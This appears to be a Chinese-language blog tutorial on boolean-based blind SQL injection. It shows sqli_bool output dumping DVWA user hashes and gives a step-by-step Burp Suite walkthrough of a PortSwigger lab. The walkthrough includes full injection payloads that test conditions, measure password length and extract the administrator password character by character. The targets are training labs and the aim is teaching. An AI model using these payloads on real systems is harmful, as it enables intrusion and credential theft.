Blind SQL injection (1)

可能注入點:

GitHub - JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE)

布尔盲注(注入点在url中,cookie包含多个值)

以dvwa漏洞平台SQL Injection (Blind)关卡low等级为例:

from sqli_bool import *
CurrentDatabaseGET()
the name of current database contains 4 characters
the name of current database is DVWA
TablesGET()
the name of all tables in current database contains 15 characters
the name of all tables in current database is GUESTBOOK,USERS
ColumnsGET('USERS')
the name of all columns in current table contains 164 characters
the name of all columns in current table is USER_ID,FIRST_NAME,LAST_NAME,USER,PASSWORD,AVATAR,LAST_LOGIN,FAILED_LOGIN,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,ID,USERNAME,PASSWORD,LEVEL,ID,USERNAME,PASSWORD
ContentGET('USERS','USER','PASSWORD')
the content contains 196 characters
the content is ADMIN^5F4DCC3B5AA765D61D8327DEB882CF99,GORDONB^E99A18C428CB38D5F260853678922E03,1337^8D3533D75AE2C3966D7E0D4FCC69216B,PABLO^0D107D09F5BBE40CADE3DE5C71E9E9B7,SMITHY^5F4DCC3B5AA765D61D8327DEB882CF99

布尔盲注(注入点在POST报文请求体中,cookie包含多个值,单引号过滤绕过)

以dvwa漏洞平台SQL Injection (Blind)关卡medium等级为例:

from sqli_bool import *
CurrentDatabasePOST()
the name of current database contains 4 characters
the name of current database is DVWA
TablesPOST()
the name of all tables in current database contains 15 characters
the name of all tables in current database is GUESTBOOK,USERS
ColumnsPOST('USERS')
the name of all columns in current table contains 164 characters
the name of all columns in current table is USER_ID,FIRST_NAME,LAST_NAME,USER,PASSWORD,AVATAR,LAST_LOGIN,FAILED_LOGIN,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,ID,USERNAME,PASSWORD,LEVEL,ID,USERNAME,PASSWORD
ContentPOST('USERS','USER','PASSWORD')
the content contains 196 characters
the content is ADMIN^5F4DCC3B5AA765D61D8327DEB882CF99,GORDONB^E99A18C428CB38D5F260853678922E03,1337^8D3533D75AE2C3966D7E0D4FCC69216B,PABLO^0D107D09F5BBE40CADE3DE5C71E9E9B7,SMITHY^5F4DCC3B5AA765D61D8327DEB882CF99

布尔盲注(注入点在Cookie头中,cookie包含多个值)

以dvwa漏洞平台SQL Injection (Blind)关卡high等级为例:

from sqli_bool import *
CurrentDatabaseCOOKIE()
the name of current database contains 4 characters
the name of current database is DVWA
TablesCOOKIE()
the name of all tables in current database contains 15 characters
the name of all tables in current database is GUESTBOOK,USERS
ColumnsCOOKIE('USERS')
the name of all columns in current table contains 164 characters
the name of all columns in current table is USER_ID,FIRST_NAME,LAST_NAME,USER,PASSWORD,AVATAR,LAST_LOGIN,FAILED_LOGIN,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,ID,USERNAME,PASSWORD,LEVEL,ID,USERNAME,PASSWORD
ContentCOOKIE('USERS','USER','PASSWORD')
the content contains 196 characters
the content is ADMIN^5F4DCC3B5AA765D61D8327DEB882CF99,GORDONB^E99A18C428CB38D5F260853678922E03,1337^8D3533D75AE2C3966D7E0D4FCC69216B,PABLO^0D107D09F5BBE40CADE3DE5C71E9E9B7,SMITHY^5F4DCC3B5AA765D61D8327DEB882CF99

題目:
Lab: Blind SQL injection with conditional responses | Web Security Academy
通過觸發條件回應來利用盲SQL注入,注入點在cookie:

當網站有 SQL injection 漏洞,但 HTTP 回應不包含相關 SQL 查詢的結果或任何資料庫錯誤的詳細訊息,也就是說injection語句的結果不會像之前的SQL-injection專論(1)、(2)一樣顯示在網頁上,所以之前的union攻擊也不管用。這時要用到的技巧,叫blind SQL injection 。
上面的題目,意思是要用blind SQL injection猜出administrator的密碼。已知這DB有一個table名為users,這個table有兩欄,username跟password。
而blind SQL injection 要用burp suite會比較方便。點上圖access the lab後,進入網頁如下:

開啟burp suite,記得proxy要設定一下,或是點下圖的open browser,用burp suite自帶的瀏覽器,就不用設proxy,然後點一下intercept is off,讓它變成intercept is on:

接下來隨便點一個上上張圖中的refine tour search下面的隨便一個tag,觀察burp suite:

按上圖send to repeater(注意上圖紅字處)。
step 1: 確認是否有「觸發條件回應之blind sql injection」
接下來,在原本TrackingId後面的那一串亂碼之後,加上一句sql 語法語法(如下圖左邊紅圈,以後每一步都是把sql語法貼在它後面),之後按send:
sql 語法(百分比編碼後): '+AND+1%3d1-- (原本長相: 'AND 1=1--)
把原始的sql語句給百分比編碼,可以利用這個網站:
URL解碼器與編碼器decoder/encoder - 線上工具

因為注入1=1永遠為真,所以會有右邊紅圈的Welcome back!
如果貼的是:
'+AND+1%3d2-- ('AND 1=2--)

會發現沒有Welcome back!,總之把'AND 1=1--貼在cookie後面是確認是否有「觸發條件回應之blind sql injection」的一個判別方式。
step 2: 確認DB裡有users這個table
sql 語法(百分比編碼後): '%20AND%20(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_name%20%3D%20'users')%20%3D%20'users'--
原sql 語法: ' AND (SELECT table_name FROM information_schema.tables WHERE table_name = 'users') = 'users'--
把語法分解,先看AND之後的括號裡的東西。如果真有users這個table,那麼SELECT table_name FROM information_schema.tables WHERE table_name = 'users'的輸出會是users。接下來' AND 'users' = 'users'恆為真,當然會顯示welcame back。

step 3: 確認長度
sql 語法(百分比編碼後):
'%20AND%20(SELECT%20username%20FROM%20users%20WHERE%20username%20%3D%20'administrator'%20AND%20LENGTH(password)%20%3E%201)%20%3D%20'administrator'--
原sql 語法:
' AND (SELECT username FROM users WHERE username = 'administrator' AND LENGTH(password) > 1) = 'administrator'--
語句分析:
如果真有administrator這個username,那麼SELECT username FROM users WHERE username = 'administrator'這語句的結果就會是administrator。如果password的字串長度大於1,那麼LENGTH(password) > 1這語句的結果會是true。administrator AND true,輸出會是'administrator'。
所以SELECT username FROM users WHERE username = 'administrator' AND LENGTH(password) > 1的輸出會是'administrator'。
' AND 'administrator' = 'administrator'--恆為真,也會輸出welcame back。

注意上圖紅圈裡的1。現在想測長度,必須把紅圈裡的1改成2、3、4...一直測下去,直到welcame back不出現,才能確定長度。但一直改一直重送很麻煩啊,有沒有可以把它當成變數自動去測? 可以,在request的空白處點右鍵,點下圖紅圈Send to Intruder:

會被送到以下畫面。把想列成變數的字反藍(如紅圈處),按右邊的Add $

原本反藍的變數左右兩邊會出現符號:

接下來可以切到Payloads頁面,針對這變數作設定,這個payload type應是Numbers:

接下來設定from(數字從幾開始),to(數字到幾結束),steps(每一個round要累加多少,當然一次只會加1,因為我們想測1,2,3,4....)。

點選上圖的Start Attack後,burp就會開始幫你send request。可以看見下面紅圈,從20開始Length會不一樣,代表密碼長度是20。

step 4: 確認密碼
sql 語法(百分比編碼後):
'%20AND%20(SELECT%20SUBSTRING(password%2C%201%2C%201)%20FROM%20users%20WHERE%20username%20%3D%20'administrator')%20%3D%20'a'--
原sql 語法:
' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'administrator') = 'a'--
語句分析:
SUBSTR (str, pos, len) 由 str>中的第 pos 位置開始,選出接下去的 len 個字元。
所以SUBSTRING(password, 1, 1)代表的意思就是password這個欄位的內容的第1個字。
懂得這一句,整句也就懂了: password這個欄位的內容的第1個字是a嗎?
試著把語句按左上角的Send給送出去,可以發現沒有welcome back,也就是說第一個字不是a。

但怎麼可能一個一個送: 第1個位置是b嗎?是c嗎?是....?,接下來第2個位置也是同一套輪迴,所以這時候又是intruder功能出馬了,注意上圖的兩個紅圈圈,就是位置跟字母的變數,所以看下圖,也是把反藍後按Add $,把這兩個設成變數

記得attack type要設成cluster bomb,才能同時設定兩個變數。

Payload set 1就是第1個變數,Payload type選numbers,從1到20。

Payload set 2就是第2個變數,Payload type選Brute forcer,下面可以再自定義character set。

按上圖右上角的Start attack後,可以看到下圖在試到第19個字是a的時候,length跟其他人都不一樣,是5481。

所以可以按下圖紅圈的length,讓request的結果按照length長度排:

紅線以下就是密碼了,可以自己拼湊出:
vg8w978zz55df9j6tvar

Reference

https://sandunigfdo.medium.com/blind-sql-injection-with-conditional-responses-d23ff6660299
https://blog.csdn.net/ZripenYe/article/details/119765859
GitHub - JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE)


#blind sql injection: 可能注入點 #blind sql injection: cookie注入點之攻擊方式 #blind sql injection: 使用burp suite(repeater、intruder) #blind sql injection: 猜用戶密碼 #百分比編碼轉換網站







Related Posts

Docker Compose 建置 Web service 起步走入門教學

Docker Compose 建置 Web service 起步走入門教學

1/29 資料結構和演算法自學

1/29 資料結構和演算法自學

JavaScript 進階 02:Hoisting

JavaScript 進階 02:Hoisting


Comments